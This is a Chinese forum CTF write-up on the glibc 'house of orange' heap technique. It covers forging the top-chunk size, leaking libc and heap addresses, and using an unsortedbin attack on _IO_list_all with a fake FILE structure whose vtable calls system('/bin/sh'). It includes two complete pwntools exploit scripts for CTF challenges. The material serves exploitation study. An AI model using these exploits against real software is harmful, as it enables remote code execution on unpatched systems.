https://bbs.ichunqiu.com/thread-59550-1-1.html
概述 house of orange 特殊之处是题目没有 free 函数等释放堆块函数。house of orange 核心思想通过漏洞实现 free 的效果。
使用条件
能控制 topchunk size 位(堆溢出等)
能控制堆分配的大小
原理 当 topchunk 不能满足申请分配的大小时,topchunk 被释放进 unsortedbin ,实现没有 free 函数释放堆块。
扩展堆空间有 mmap
和 brk
两种方式,我们需要以 brk
拓展,需要绕过 libc 一些 check :malloc 申请大小不能大于 mmp_.mmap_threshold
1 if ((unsigned long )(nb) >= (unsigned long )(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
总结伪造 topchunk 要求:
自此得到一个 unsortedbin 堆,用来泄露 libc 地址,实现 FSOP
hitcon_2016_houseoforange 基本情况 保护全开,实验环境在 Ubuntu16.04。
能自主控制分配堆大小,结构体如下:
1 2 3 4 5 6 7 8 struct { *info; chunk_ptr; } struct info { price; color; }
在 edit 函数中存在堆溢出:
思路 利用堆溢出将 topchunk size 改小,size 要求看前文。修改前 topchunk 和 heap 范围:
![image-20201216231726321](../../../../../Library/Application Support/typora-user-images/image-20201216231726321.png)
修改后情况:
之后申请一个大于 topchunk 的堆,topchunk 就被放入 unsortedbin :
1 2 3 4 5 6 7 8 9 10 11 pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0
申请一个 largebin 用于泄露 libc 和 堆地址。用的 malloc 分配,libc 读取 bk 位置信息即可,分配的是 largebin 在 fd_nextsize 和 bk_nextsize 都存放堆地址分别读出即可。堆地址在 FSOP 伪造 vtable 需要用到。
自此后面就是 FSOP 利用。劫持在 libc 中的 _IO_list_all 内容,将其内容指向可控地址伪造 _IO_FILE_plus 和 vtabel 。默认状态下的 _IO_list_all 指向的是 _IO_2_1_stderr_ :
利用堆溢出修改在 unsortedbin 的 topchunk fd bk 指针,发起 unsortedbin attack 劫持 _IO_list_all 。这里修改完 fd bk 之后申请一个堆,topchunk unlink 就会修改 _IO_list_all 指向到 main_arena+88 ,这个区域前后我们还是不能控制,就利用 _chain 标志位指向下一个文件流,这个标志位的位置刚好是 unsortedbin 0x60 链表位置。因此将 topchunk size 覆盖为 0x60 :
执行 _IO_flush_all_lockp 时逐个遍历文件流,遇到错误文件就跳过去处理 _chain 指向的下一个文件流,因此现在 topchunk 里面伪造一个 _IO_FILE_plus 结构体。
需要设置几个标志位绕过保护:
1 2 3 mode_offset=0x0 ; writeptr_offset=0x1 ; writebase_offset=0x0 ;
然后将 vtable 指针劫持会 topchunk 特定位置,让 __overflow 为 system ,文件流(topchunk)头部覆盖为 /bin/sh 作为参数传入。
成功结构体如下:
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context(log_level='debug' ,arch='amd64' ) p = remote("node3.buuoj.cn" ,29595 ) libc = ELF("./libc-2.23.so" ) elf = ELF("./houseoforange_hitcon_2016" ) def command (id ): p.recvuntil(": " ) p.sendline(str (id )) def add (size, content, price, color ): command(1 ) p.recvuntil("Length of name :" ) p.sendline(str (size)) p.recvuntil("Name :" ) p.send(content) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline(str (color)) def show (): command(2 ) def edit (size, content, price, color ): command(3 ) p.recvuntil("Length of name :" ) p.sendline(str (size)) p.recvuntil("Name:" ) p.send(content) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline(str (color)) add(0x18 ,'a' *8 ,0xddaa ,0xddaa ) payload='a' *0x38 +p64(0xfa1 ) edit(len (payload),payload,0xddaa ,0xddaa ) add(0x1000 ,'b' *8 ,0xddaa ,0xddaa ) add(0x450 ,'c' *8 ,0xddaa ,0xddaa ) show() p.recvuntil('c' *8 ) leak_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("leak_addr:" +hex (leak_addr)) libc_addr = leak_addr-1640 -0x3c4b20 log.info("libc_addr:" +hex (libc_addr)) IO_list_all=libc_addr+libc.sym['_IO_list_all' ] log.info("IO_list_all:" +hex (IO_list_all)) system=libc_addr+libc.sym['system' ] payload = 'd' * 0x10 edit(0x10 , payload,0xddaa ,0xddaa ) show() p.recvuntil('d' *0x10 ) heap_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("heap_addr:" +hex (heap_addr)) payload='d' *0x450 +p64(0 )+p64(0x21 )+p64(0x0000ddaa00000003 )+p64(0 ) fake = '/bin/sh\x00' +p64(0x61 ) fake += p64(0 )+p64(IO_list_all-0x10 ) fake += p64(0 ) + p64(1 ) fake = fake.ljust(0xc0 ,'\x00' ) fake += p64(0 ) * 3 fake += p64(heap_addr+0x558 ) fake += p64(0 ) * 2 fake += p64(system) payload += fake edit(len (payload),payload,2 ,3 ) p.recvuntil("Your choice : " ) p.sendline('1' ) p.interactive()
参考文章
2020_纵横杯_wind_farm_panel 基本情况 十分明显的堆溢出:
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall edit (__int64 a1, __int64 a2) { int v3; printf ("Please modify your personal information.\nWhich turbine: " ); v3 = read_int("Please modify your personal information.\nWhich turbine: " , a2); if ( !*((_QWORD *)&area + v3) || v3 < 0 || v3 > 4 ) return puts ("Unvalidated Input" ); printf ("Please input: " ); read(0 , *((void **)&area + v3), 0x1000 uLL); return puts ("Done" ); }
思路 满足 house_of_orange
的条件:堆溢出能修改 topchunk size ;申请 size 限制范围大;没有 free 功能。
溢出修改 topchunk size ,申请大于 topchunk 的堆,将 topchunk 放入 unsortedbin ,然后泄露 libc 地址
修复 chunk_size&pre_size ,申请 larginbin 泄露 heap_addr
FSOP
1 2 3 4 5 6 7 8 9 10 11 add(0 ,0x88 ,'a' *0x88 +p64(0xf71 )) add(1 ,0xfff ,'b' ) edit(0 ,'a' *0x90 ) show(0 ) p.recvuntil('a' *0x90 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-88 -0x3c4b20 log.info("libc_base:" +hex (libc_base))
申请 larginbin 之前,需要修复泄露 libc 破坏的 chunk_size ,以后布置 prev_size :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 payload = 'a' *0x88 +p64(0xf71 )+p64(libc_base+88 +0x3c4b20 )*2 payload += 'a' *0xf50 +p64(0xf70 ) edit(0 ,payload) p.recvuntil("Done" ) add(2 ,0x450 ,'c' ) edit(0 ,'a' *0xa0 ) show(2 ) gdb.attach(p) p.recvuntil('a' *0x10 ) heap_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x90 log.info("heap_base:" +hex (heap_base))
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *context(log_level='debug' ) p = process("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) elf = ELF("./pwn" ) def command (id ): p.recvuntil(">> " ) p.sendline(str (id )) def add (id ,size,content ): command(1 ) p.recvuntil(": " ) p.sendline(str (id )) p.recvuntil(": " ) p.sendline(str (size)) p.recvuntil(": " ) p.send(content) def show (id ): command(2 ) p.recvuntil(": " ) p.sendline(str (id )) def edit (id ,content ): command(3 ) p.recvuntil(": " ) p.sendline(str (id )) p.recvuntil(": " ) p.send(content) add(0 ,0x88 ,'a' *0x88 +p64(0xf71 )) add(1 ,0xfff ,'b' ) edit(0 ,'a' *0x90 ) show(0 ) p.recvuntil('a' *0x90 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-88 -0x3c4b20 log.info("libc_base:" +hex (libc_base)) payload = 'a' *0x88 +p64(0xf71 )+p64(libc_base+88 +0x3c4b20 )*2 payload += 'a' *0xf50 +p64(0xf70 ) edit(0 ,payload) p.recvuntil("Done" ) add(2 ,0x450 ,'c' ) edit(0 ,'a' *0xa0 ) show(2 ) gdb.attach(p) p.recvuntil('a' *0x10 ) heap_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x90 log.info("heap_base:" +hex (heap_base)) edit(0 ,'a' *0x88 +p64(0x461 )) IO_list_all=libc_base+libc.sym['_IO_list_all' ] log.info("IO_list_all:" +hex (IO_list_all)) system=libc_base+libc.sym['system' ] payload = 'b' *0x450 fake = '/bin/sh\x00' +p64(0x61 ) fake += p64(0 )+p64(IO_list_all-0x10 ) fake += p64(0 ) + p64(1 ) fake = fake.ljust(0xc0 ,'\x00' ) fake += p64(0 ) * 3 fake += p64(heap_base+0x5c8 ) fake += p64(0 ) * 2 fake += p64(system) payload += fake edit(2 ,payload) command(1 ) p.recvuntil(": " ) p.sendline(str (3 )) p.recvuntil(": " ) p.sendline(str (0x80 )) p.interactive()